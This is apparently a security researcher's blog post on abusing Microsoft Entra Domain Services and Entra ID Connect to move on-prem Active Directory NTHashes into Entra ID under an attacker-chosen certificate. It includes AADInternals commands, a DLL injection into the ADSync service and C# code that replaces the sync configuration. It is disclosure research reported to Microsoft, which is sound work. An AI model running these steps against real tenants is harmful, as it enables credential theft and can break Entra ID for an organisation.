Exfiltrating NTHashes by abusing Microsoft Entra Domain Services

Exfiltrating NTHashes by abusing Microsoft Entra Domain Services

Last year I gave a presentation titled Dumping NTHashes from Azure AD at TROOPERS conference. The talk was about how the Microsoft Entra Domain Services (formerly Azure AD Domain Services) works and how it enabled dumping NTHashes from Entra ID (formerly Azure AD).

In this blog, I’ll show how Microsoft Entra Domain Services (MEDS) can be (ab)used to exfiltrate NTHashes from on-prem Active Directory.

Microsoft Entra Domain Services (MEDS)

Technical details on how Microsoft Entra Domain Services handles NTHashes can be found in Securework’s article Dumping NTHahshes from Microsoft Entra ID.

For short, when MEDS is enabled, Entra ID starts storing users’ NTHashes. In hybrid configuration, Entra ID Connect starts syncing users’ NTHashes from the on-prem Active Directory to Entra ID.

The passwords are encrypted using a public key of password encryption certificate. The certificate is available on Microsoft managed MEDS domain controllers, but accessing those requires local administrator rights (which customers MEDS do not have). However, the public key can be queried from Entra ID. The certificate is updated regularly.

Note: NTHashes are created and stored in Entra ID only when password is changed. That is, a new user is created or password of an existing user is reset. Synchronising password from on-prem Active Directory also causes a password change in Entra ID.

Note: NTHashes are removed from Entra ID only when MEDS is not used anymore and password is changed. Forcing full password hash synchronization for on-prem Active Directory users also causes a password change in Entra ID.

When NTHashes are stored in Entra ID, they can be read using a simple MS Graph API call (source: Secureworks): MS Graph API call

However, the windowsLegacyCredentials attribute is only available for a specific app (Azure AD Domain Services Sync) which is created during MEDS deployment. The app is using certificate as authentication credentials. The certificate is also available on MEDS domain controllers, so it can’t be accessed. Luckily, an admin with proper permissions can add new password or certificate credentials so NTHashes can be accessed.

To sum up, dumping NTHashes requires:

  1. Azure AD Domain Services Sync app and credentials
  2. Private key of the password encryption certificate

Exfiltrating NTHashes

While studing MEDS, I got a crazy idea of using Entra ID to store on-prem Active Directory NTHashes. Basically, I wanted to know could I somehow abuse MEDS or Entra ID for exfiltrating NTHashes from on-prem.

Step 1: Exporting to Entra ID

As mentioned earlier, NTHashes are encrypted using private key of a password encryption certificate. Decrypting them would require access to private key of the certificate, which would require Local Administrator permissions on MEDS domain controllers (which we don’t have).

I noticed that when Entra ID connect is synchronizing password hashes, it first asks from Entra ID whether it should sync NTHashes too. If MEDS is enabled, the response includes the public key of the password encryption certificate: GetWindowsCredentialsSyncConfigResult

You can use AADInternals to synchronize passwords & NTHashes using the same protocol than Entra ID Connect is using. You can even provide your own encryption certificate 😈

Set-AADIntUserPassword -SourceAnchor <immutableId> -Password <password> -IncludeLegacy -PfxFileName <certificate.pfx>

Note: Using your own certificate would cause an error on the MEDS domain controllers, as they would not be able to decrypt the password.

So, one could build a script that utilises AADInternals to write NTHashes to Entra ID. However, I wanted to find out whether I could provide a custom certificate to Entra ID Connect and let it do all the heavy lifting.

It turned out that Entra ID Connect is using GetWindowsCredentialsSyncConfig function to get MEDS configuration from Entra ID. So, I made a simple replacement function that returns always the public key of ForceNTHash.pfx certificate (full source code here).

internal WindowsCredentialsSyncConfig GetWindowsCredentialsSyncConfig()
{
	WindowsCredentialsSyncConfig config = new WindowsCredentialsSyncConfig();
	config.EnableWindowsLegacyCredentials = true;
	config.EnableWindowsSupplementalCredentials = true;
	config.SecretEncryptionCertificate = Convert.FromBase64String("MIIC+DCCAeCgAwIBAgIQbStQ0RP2vZ5J3Jmw9nc7/zANBgkqhkiG9w0BAQsFADAXMRUwEwYDVQQDDAxBQURJbnRlcm5hbHMwHhcNMjMwODIxMTIyMTA0WhcNMzMwODIxMTIzMTA0WjAXMRUwEwYDVQQDDAxBQURJbnRlcm5hbHMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDinjh+Ti5DFJ6Koh7Ht8sNTX1cgIEBND16r/ZGuegYt6mCgqfrk5otpnCnsoiAotcMM9BDX/4/wWc047SJT591wJL6aWePb/k7jiAsXPWYauqh5pVIgmlIGMyHD1fUVZGG/N8dzY2+G0KWr7ZogtDLTkR7OqRQ3PaJoi3pmIer2tcRCxuYan4TSdlIW8bVS07fVokhvowrg4TSfVnPyHs7ti2n9nBWBoJcusHKxCVQKjMwFTZbX/5Df6+bc2iINpbdeaQmE/eSBuM418aiHwReaqa+w75/MVTtluRDaFUFvgmqHqW+oClT4OVlS3ZPNbi8VBMU4nU/pudVSGNtb/7FAgMBAAGjQDA+MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAdBgNVHQ4EFgQUXlKwqj4w5WVZRRCk326ttMS8KJMwDQYJKoZIhvcNAQELBQADggEBABovqxR0mVKrbLsIHaxUQ4ZnAsUM3rOcPzZnkLvjLsyGOblY2ZrUjv4QFx8aSnu9iGc5nOXPtjJCOe1SepE0qiZHhHOcp+60BA7Bta/QUofIJkfjwzAqRE9OUXjc9EfgL57in1XzUu7K01D7aRdM+p//zYVNge5FYeTBy/qr4R4im8pweicY3ViY/ehTf5en5kN6owJm7oFe4bc+3GptrQthHm9wr7xggf2g47n5p+DpO8QLo94xX+KGzntkxo2wO9jrgD5Q/QmNY45YvKlv4TmcBQP9D6sHq2OkAQAM9F+r7llcNNeqdCOdbkV0dOfeP++6O59cpbxfcZ5biUF56UY=");

	return config;
}

The following injects the ForceNTHash.dll to Entra ID synchronisation and forces full password hash sync:

# Inject ForceNTHash.dll to Entra ID Connect
Install-AADIntForceNTHash

Output:

WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Sleeping for five seconds..
Injecting C:\Program Files\WindowsPowerShell\Modules\AADInternals\0.9.3\ForceNTHash.dll to process 9760
Trying to find Patch from C:\Program Files\WindowsPowerShell\Modules\AADInternals\0.9.3\ForceNTHash.dll
Function Patch executed successfully
DLL injected successfully

Installation successfully completed!
Windows legacy credentials sync is now enforced and credentials are encrypted with ForceNTHash certificate.
# Force full password hash sync
Initialize-AADIntFullPasswordSync

Now the NTHashes of all synchronised users are encrypted using custom certificate and stored in Entra ID!

To sum up, exporting NTHashes to Entra ID requires:

  1. Password hash synchronization is enabled in Entra ID
  2. Microsoft Entra Domain Services is deployed

What if I want to export NTHashes of organisation that doesn’t fullfil these requirements? Could them be bypassed?

Well, the first one is easy. A Global Administrator can simply turn the password hash sync on:

# Enable password hash sync
Set-AADIntSyncFeatures -EnableFeatures PasswordHashSync

The second one was a bit trickier. If MEDS is not deployed and you try to sync NTHashes, you’ll get the following error message:

An internal error has occurred. This operation will be retried during the next synchronization. If the issue persists for more than 24 hours, contact Technical Support.

However, it turned out that this wasn’t that difficult at all. Long story short, as a Global Administrator, you can simply tell to Entra ID that syncing NTHashes is allowed:

# Enable Windows legacy and supplemental credentials 
Set-AADIntAzureADFeature -Feature EnableWindowsLegacyCredentials       -Enabled $true
Set-AADIntAzureADFeature -Feature EnableWindowsSupplementalCredentials -Enabled $true

Note: Enabling the legacy and supplemental credentials manually (without deploying MEDS) bricks Entra ID. As it now tries to encrypt these credentials but there is no encryption certificate, creating new users and service principals will fail. Same happens when trying to reset password.

I reported this issue to MSRC in Aug 2023 and it was closed as by-design on Jan 12th 2024:

..we are not planning to do any fix or change for this case.

However, it seems that Global Admins can’t enable legacy and supplemental credentials anymore so it was fixed after all 😊:

EnableWindowsLegacyCredentials

Step 2: Exporting from Entra ID

Now that we have all the NTHashes stored in Entra ID, we need to export them. NTHashes are stored in windowsLebacyCredentials attribute of Entra ID user object, and they can be read using MS Graph API. However, as mentioned earlier, the attribute is only available for the Azure AD Domain Services Sync app, which is created during Microsoft Entra Domain Services deployment. I have not found any explanation why only that app can access that attribute.

Conclusion

This blog was a brief introduction to an idea to exfiltrate NTHashes from on-prem Active Directory by first exporting them to Entra ID and then later exporting them from Entra ID.

The first step, exporting NTHashes to Entra ID, would require Local Administrator permissions on a server running the Entra ID Connect. After storing NTHashes to Entra ID, they remain there until the users’ passwords are changed. As such, they can be accessed even when access to on-prem Active Directory or Entra ID Connect are lost.

The second step, exporting NTHashes from Entra ID, would require either Global Administrator or Cloud Application Administrator permissions to add new credentials to Azure AD Domain Services Sync app.

Finally, the whole process requires that Microsoft Entra Domain Services is deployed. If not, one would require Global Administrator permissions to deploy it. As such, this attack scenario is not very likely, but it was sure fun to research!

References

Dr Nestori Syynimaa (@DrAzureAD) avatar
About Dr Nestori Syynimaa (@DrAzureAD)
Dr Syynimaa works as Principal Identity Security Researcher at Microsoft Security Research.
Before his security researcher career, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Entra ID (Azure AD) security.

Before joining Microsoft, Dr Syynimaa was Microsoft MVP in security category and Microsoft Most Valuable Security Researcher (MVR).